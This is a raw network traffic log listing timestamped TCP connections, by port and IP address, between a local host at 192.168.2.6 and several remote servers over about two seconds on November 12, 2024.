Nov 12, 2024 17:07:46.290534973 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:46.298909903 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.299032927 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.299071074 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.299082041 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:46.299113035 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.299165964 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:46.308355093 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.308650017 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.308737040 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.308763981 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:46.308789968 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.308832884 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:46.308840990 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.380451918 CET	443	49844	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.380539894 CET	49844	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.381786108 CET	49844	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.381798983 CET	443	49844	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.382070065 CET	443	49844	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.382877111 CET	49844	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.404329062 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.404402971 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:46.404443026 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.407614946 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.407663107 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:46.407687902 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.416243076 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.416275024 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.416294098 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:46.416322947 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.416361094 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:46.416419983 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.419450998 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:46.424479961 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:46.425947905 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.425982952 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.425997019 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:46.426021099 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.426059008 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.426079988 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:46.426086903 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.426126957 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:46.426134109 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.427330017 CET	443	49844	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.515422106 CET	443	49844	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.515501022 CET	443	49844	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.515563965 CET	49844	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.515758038 CET	49844	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.515774965 CET	443	49844	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.515798092 CET	49844	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.515804052 CET	443	49844	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.518488884 CET	49876	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.518512011 CET	443	49876	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.518784046 CET	49876	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.518943071 CET	49876	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.518956900 CET	443	49876	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.522264957 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.522346973 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:46.522370100 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.525001049 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.525070906 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:46.525089979 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.533375978 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.533549070 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:46.533576012 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.533660889 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.533720970 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:46.533727884 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.533838034 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:46.533879995 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.534018040 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.534020901 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:46.534056902 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:46.553188086 CET	49873	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:46.553739071 CET	49877	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:46.553793907 CET	443	49877	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:46.554168940 CET	49877	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:46.554459095 CET	49877	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:46.554481983 CET	443	49877	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:46.555270910 CET	49874	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:46.555479050 CET	49872	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.555881023 CET	49853	443	192.168.2.6	18.245.60.72
Nov 12, 2024 17:07:46.555953026 CET	443	49853	18.245.60.72	192.168.2.6
Nov 12, 2024 17:07:46.556004047 CET	49853	443	192.168.2.6	18.245.60.72
Nov 12, 2024 17:07:46.558710098 CET	49879	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:46.558731079 CET	443	49879	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:46.558784962 CET	49879	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:46.559156895 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.559180021 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.559252024 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.559405088 CET	49879	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:46.559416056 CET	443	49879	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:46.559647083 CET	49875	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:46.559926033 CET	49881	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:46.559936047 CET	443	49881	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:46.559984922 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.559997082 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.560035944 CET	49881	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:46.560126066 CET	49881	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:46.560138941 CET	443	49881	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:46.595334053 CET	443	49874	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:46.595340967 CET	443	49873	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:46.599330902 CET	443	49872	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.607335091 CET	443	49875	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:46.654433012 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.657074928 CET	443	49868	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.661179066 CET	49870	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.661202908 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.661648989 CET	49870	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.661653996 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.663279057 CET	49868	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.663294077 CET	443	49868	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.663681984 CET	49868	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.663686037 CET	443	49868	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.673310041 CET	443	49871	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.674352884 CET	49871	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.674376011 CET	443	49871	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.675308943 CET	49871	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.675328016 CET	443	49871	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.728379965 CET	443	49869	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.730640888 CET	49869	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.730685949 CET	443	49869	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.732029915 CET	49869	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.732047081 CET	443	49869	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.772923946 CET	49882	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.772975922 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.773092031 CET	49882	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.773365974 CET	49882	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.773382902 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.786768913 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.786988974 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.787048101 CET	49870	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.788608074 CET	49870	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.788625956 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.788635969 CET	49870	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.788641930 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.789264917 CET	443	49868	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.789661884 CET	443	49868	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.789702892 CET	49868	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.796355009 CET	49868	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.796364069 CET	443	49868	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.796372890 CET	49868	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.796376944 CET	443	49868	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.802617073 CET	49883	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.802649975 CET	443	49883	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.802747965 CET	49883	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.805227041 CET	49883	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.805242062 CET	443	49883	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.806458950 CET	443	49871	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.806533098 CET	443	49871	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.806602001 CET	49871	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.807142973 CET	49871	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.807154894 CET	443	49871	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.807167053 CET	49871	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.807173014 CET	443	49871	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.809031010 CET	443	49874	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:46.809144974 CET	443	49874	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:46.809179068 CET	49874	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:46.809200048 CET	49874	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:46.810498953 CET	49884	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.810528040 CET	443	49884	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.810595036 CET	49884	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.811073065 CET	49884	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.811085939 CET	443	49884	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.814462900 CET	49885	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.814491034 CET	443	49885	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.814661026 CET	49885	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.814769983 CET	49885	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.814784050 CET	443	49885	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.816431046 CET	443	49873	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:46.816504002 CET	49873	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:46.859724998 CET	443	49869	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.859777927 CET	443	49869	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.859911919 CET	49869	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.859950066 CET	49869	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.859968901 CET	443	49869	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.860003948 CET	49869	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.860008955 CET	443	49869	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.868129015 CET	49886	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.868170977 CET	443	49886	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.871963978 CET	49886	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.872224092 CET	49886	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.872237921 CET	443	49886	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.873473883 CET	443	49875	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:46.873529911 CET	49875	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:46.886116982 CET	443	49872	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.886192083 CET	49872	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.044013023 CET	49887	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.044053078 CET	443	49887	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.044243097 CET	49887	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.044408083 CET	49887	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.044425964 CET	443	49887	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.064932108 CET	49888	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.064960957 CET	443	49888	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.065018892 CET	49888	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.065226078 CET	49888	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.065234900 CET	443	49888	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.152446985 CET	49889	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.152471066 CET	443	49889	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.152535915 CET	49889	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.152753115 CET	49889	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.152766943 CET	443	49889	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.165920973 CET	443	49879	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.166466951 CET	49879	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.166487932 CET	443	49879	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.167571068 CET	443	49879	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.167635918 CET	49879	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.167748928 CET	443	49881	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.168324947 CET	49881	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.168339968 CET	443	49881	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.168740988 CET	49879	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.168823957 CET	443	49879	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.168973923 CET	49879	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.168981075 CET	443	49879	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.169397116 CET	443	49881	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.169462919 CET	49881	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.170367002 CET	49881	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.170429945 CET	443	49881	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.170528889 CET	49881	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.170535088 CET	443	49881	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.190737009 CET	443	49877	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.190929890 CET	49877	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.190943003 CET	443	49877	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.191996098 CET	443	49877	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.192053080 CET	49877	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.193026066 CET	49877	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.193094969 CET	443	49877	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.193177938 CET	49877	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.193183899 CET	443	49877	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.193581104 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:47.193629980 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:47.229376078 CET	49879	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.244796991 CET	49881	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.253390074 CET	443	49876	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.254184008 CET	49876	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.254225969 CET	443	49876	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.254888058 CET	49876	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.254904032 CET	443	49876	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.298840046 CET	443	49879	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.298921108 CET	443	49879	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.298965931 CET	49879	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.299401999 CET	49879	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.299420118 CET	443	49879	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.301284075 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.301870108 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.301887989 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.301991940 CET	443	49881	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.302061081 CET	443	49881	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.302115917 CET	49881	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.302206993 CET	49881	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.302222013 CET	443	49881	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.302999020 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.303069115 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.304363966 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.304440975 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.304626942 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.304636002 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.329124928 CET	443	49877	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.329184055 CET	49877	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.329633951 CET	49877	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.329647064 CET	443	49877	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.383665085 CET	443	49876	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.384176970 CET	443	49876	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.384238005 CET	49876	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.386218071 CET	49876	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.386246920 CET	443	49876	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.386262894 CET	49876	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.386269093 CET	443	49876	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.391192913 CET	49890	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.391249895 CET	443	49890	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.391319990 CET	49890	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.392765045 CET	49890	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.392784119 CET	443	49890	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.419631958 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.528672934 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.528923035 CET	49882	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.528958082 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.530026913 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.530100107 CET	49882	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.530616045 CET	49882	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.530682087 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.530802011 CET	49882	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.530813932 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.537231922 CET	443	49883	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.537744045 CET	49883	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.537763119 CET	443	49883	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.538182020 CET	49883	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.538187027 CET	443	49883	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.541373968 CET	443	49884	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.542037964 CET	49884	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.542071104 CET	443	49884	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.542748928 CET	49884	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.542758942 CET	443	49884	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.553977966 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.554002047 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.554011106 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.554042101 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.554055929 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.554059982 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.554069042 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.554086924 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.554104090 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.554114103 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.554131985 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.558000088 CET	443	49885	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.559566975 CET	49885	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.559582949 CET	443	49885	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.560242891 CET	49885	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.560249090 CET	443	49885	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.616558075 CET	443	49886	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.638129950 CET	49886	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.638151884 CET	443	49886	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.638659000 CET	49886	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.638667107 CET	443	49886	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.654664040 CET	443	49887	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.656394005 CET	49887	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.656405926 CET	443	49887	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.657480955 CET	443	49887	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.657572985 CET	49887	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.657988071 CET	49887	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.658051014 CET	443	49887	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.658176899 CET	49887	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.658185005 CET	443	49887	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.671358109 CET	443	49888	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.671502113 CET	443	49883	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.671529055 CET	443	49883	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.671571970 CET	443	49883	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.671605110 CET	49883	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.671664000 CET	49883	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.671828985 CET	49888	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.671854019 CET	443	49888	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.672113895 CET	49883	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.672113895 CET	49883	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.672136068 CET	443	49883	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.672149897 CET	443	49883	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.672946930 CET	443	49888	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.673027039 CET	49888	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.673362970 CET	49888	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.673429012 CET	443	49888	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.673494101 CET	49888	443	192.168.2.6	172.64.41.3
